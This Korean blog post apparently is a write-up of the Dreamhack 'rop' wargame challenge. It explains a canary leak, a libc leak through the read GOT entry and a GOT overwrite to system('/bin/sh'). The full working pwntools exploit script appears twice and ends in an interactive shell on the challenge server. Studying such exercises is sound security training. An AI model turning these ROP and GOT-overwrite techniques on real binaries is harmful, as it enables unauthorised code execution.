취약점분석/Pwnable

[Pwnable] rop write-up (GOT Overwrite)

poiri3r 2025. 10. 3. 14:47

오늘은 드림 rop 문제 write-up을 작성해 보겠습니다. 워게임의 해당 문제는 아래 링크에서 다운받으실 수 있습니다.

 

https://dreamhack.io/wargame/challenges/354/

 

rop

DescriptionExploit Tech: Return Oriented Programming에서 실습하는 문제입니다.문제 수정 내역2023.04.25: Ubuntu 22.04 환경으로 업데이트하였습니다.

dreamhack.io

 

rop.c의 소스코드를 살펴보겠습니다.

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

 

checksec으로 파일의 보안설정을 먼저 확인해줍니다.

NX가 적용되어있습니다.

다음으로 소스코드를 보면 버퍼의 크기는 0x30인데 read에서 0x100만큼 읽어서 버퍼오버플로우 취약점이 있고 저번에 풀었던 Return to Library문제와 다른점은 write 함수가 사용되고, system함수에 대한 호출이 없다는 점입니다.

또 /bin/sh 문자열도 선언이 안되어있기 때문에 이것도 방법을 찾아야합니다。

 

일단 카나리를 구해주는 카나리 릭 코드를 빠르게 작성하겠습니다

from pwn import*

p = remote("host8.dreamhack.games", 21745)

payload = b"A" * 0x39

p.sendafter(b"Buf: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+ p.recvn(7))
print(hex(canary))

잘 출력이 되는 것 같습니다。

 

이제 system함수의 주소에 대한 계산이 필요합니다.

system함수는 워게임에 같이 주어지는 libc.so.6에 정의되어 있고, 이 라이브러리에 read,puts,printf도 정의되어 있습니다.

라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되기 때문에 read,puts,printf가 적재될 때 system함수도 프로세스 메모리에 같이 적재됩니다.

 

이때 libc안에서 두 데이터 사이의 오프셋은 항상 같은데, 사요앟는 libc 버전을 알고 있으면, 한 함수의 주소만 알면 다른 데이터의 주소도 모두 알 수 있습니다.

libc파일이 있을 때 readelf 명령어를 이용하면 다음과 같이 오프셋을 구할 수 있습니다.

readelf -s libc.so.6 | grep "read@"
readelf -s libc.so.6 | grep "system@"

 

둘의 오프셋 차이는 같은 버전에서 항상 0xc3c20입니다.

 

read함수와 write함수의 plt와 got는 디버거에서 간단하게 출력이 가능합니다.

 

 

문제 파일이 주어지는 워게임의 경우 pwntools 명령어를 통해서도 구할 수 잇습니다.

e = ELF('./rop')

readplt = e.plt['read']
writeplt = e.plt['write']
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']

print(hex(read_plt))
print(hex(read_got))
print(hex(write_plt))

 

이렇게 코드를 작성해두고 출력해봤습니다.

비교해보면 숫자가 일치하는 것도 확인해보았습니다.

정리를 조금 해보자면

1. GOT에는 함수의 실제 주소가 들어가 있다(ex:0x7f ...)

2. 그 주소를 출력해서 recv해야한다.

3.출력하기 위해서 write(1, &GOT[read], 8) 을 만들어서 서버가 read의 got 주소를 출력하게 만들어야 한다.

4.출력된 got 주소를 정수로 변환한 뒤 system의 주소를 계산한다.

 

그 중 저희가 지금 3번째인 write(1, GOT[read], 8)을 만들어야합니다.

찾아야하는 가젯은 

pop rdi; ret과 pop rsi; ret 그리고 pop rdx; ret입니다.

하지만 해당 문제에서 설정상 pop rdx값을 추가하지 않아도 된다고 하니 다른 가젯들을 찾아보겠습니다.

ROPgadget --binary ./rop --re "pop rdi"

 

 

ROPgadget --binary ./rop --re "pop rsi"

 

혹시 이따 오류 발생시 넣으려고 ret 가젯도 하나 찾았습니다.

 

이제 payload를 작성해보겠습니다.

 

먼저 write(1, read_got)을 만들어서 read의 주소를 읽어야 합니다.

payload = b'A' * 0x38 + p64(canary) + 'B'*0x8
#write(1, read_got, ...)
payload += p64(poprdi) + p64(1) + p64(poprsi)+ p64(read_got) + p64(0) + p64(write_plt)

여기서 poprsi뒤에 readgot말고 p64(0)이 들어가는 이유는 우리가 아까 pop rsi가젯을 가져올때 pop rsi; pop r15; 가젯으로 가져왔기 때문에 r15에 쓰레기 값을 넣어주는 과정입니다.

다음은 read(0, read_got)를 만들어서 read에 입력할 수 있게 만들겠습니다.

#read(0, read_got, ...)
payload += p64(poprdi) + p64(0) + p64(poprsi) + p64(read_got) + p64(0) + p64(read_plt)

 

다음으로 read의 GOT주소에 system을 넣는 payload과 구문들입니다.

#read("/bin/sh") == system("/bin/sh")
payload += p64(poprdi) + p64(read_got+0x8) + p64(ret) + p64(read_plt)
p. sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']


p.send(p64(system) + b'/bin/sh\x00')

먼저 rdi에 read의 got주소 +0x8을 넣어서 세팅해 준 뒤 read함수를 호출합니다 해당 주소에 /bin/sh를 써넣기 위해 비워뒀습니다.

그 다음 payload를 전송해준 뒤, 아까 작성했던 payload에서 서버가 전송하는 read의 got주소를 받아옵니다. 그 다음 system의 주소를 계산한 뒤 두번째 send에서 system의 주소를 보내 read의 GOT에 system의 주소를 넣은 뒤, 방금 위에 했던 두번째 payload 즉 #read(0,read_got, ...)이 실행되면서 /bin/sh가 실행됩니다.

 

from pwn import*

p = remote("host", port)
e = ELF("./rop")

libc = ELF("./libc.so.6")

payload = b"A" * 0x39

p.sendafter(b"Buf: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+ p.recvn(7))
print(hex(canary))

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']

poprdi = 0x0000000000400853
poprsi = 0x0000000000400851
ret = 0x0000000000400596

payload = b'A' * 0x38 + p64(canary) +b'B'*0x8
#write(1, read_got, ...)
payload += p64(poprdi) + p64(1) + p64(poprsi) + p64(read_got) + p64(0) + p64(write_plt)
#read(0, read_got, ...)
payload += p64(poprdi) + p64(0) + p64(poprsi) + p64(read_got) + p64(0) + p64(read_plt)
#read("/bin/sh") == system("/bin/sh")
payload += p64(poprdi) + p64(read_got+0x8) + p64(ret) + p64(read_plt)
p. sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']


p.send(p64(system) + b'/bin/sh\x00')
p.interactive()

 

최종적인 페이로드가 구성됐습니다.

from pwn import*

p = remote("host", port)
e = ELF("./rop")

libc = ELF("./libc.so.6")

payload = b"A" * 0x39

p.sendafter(b"Buf: ", payload)
p.recvuntil(payload)
canary = u64(b"\x00"+ p.recvn(7))
print(hex(canary))

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']

poprdi = 0x0000000000400853
poprsi = 0x0000000000400851
ret = 0x0000000000400596

payload = b'A' * 0x38 + p64(canary) +b'B'*0x8
#write(1, read_got, ...)
payload += p64(poprdi) + p64(1) + p64(poprsi) + p64(read_got) + p64(0) + p64(write_plt)
#read(0, read_got, ...)
payload += p64(poprdi) + p64(0) + p64(poprsi) + p64(read_got) + p64(0) + p64(read_plt)
#read("/bin/sh") == system("/bin/sh")
payload += p64(poprdi) + p64(read_got+0x8) + p64(ret) + p64(read_plt)
p. sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']


p.send(p64(system) + b'/bin/sh\x00')
p.interactive()

 

복사하실분들을 위한 코드고요, 실행시 결과는 다음과 같습니다.

정말 너무너무 어려워서 복습을 좀 많이 해야 할 것 같습니다.

payload를 작성하면서 너무 헷갈렸는데 문제를 좀 더 풀다보면 나아질까 싶네요 ㅜ

복습을 좀 주기적으로 하지 않으면 다 까먹을 것 같습니다.

GOT 개념 자체는 괜찮은 것 같은데 스택 수준에서 함수를 call하고 인자를 세팅하는게 너무 헷갈리네요..

일단 이상으로 포스팅을 마치겠습니다!

 

'취약점분석 > Pwnable' 카테고리의 다른 글

[Pwnable] RELRO (RELocation Read Only)  (0) 2025.10.04
[Pwnable] PIE (위치 독립 실행 파일)  (0) 2025.10.04
[Pwnable]Return to Library write-up (ROP)  (0) 2025.10.02
[Pwnable] NX & ASLR  (0) 2025.09.30
[Pwnable] ssp_001 write up  (0) 2025.09.24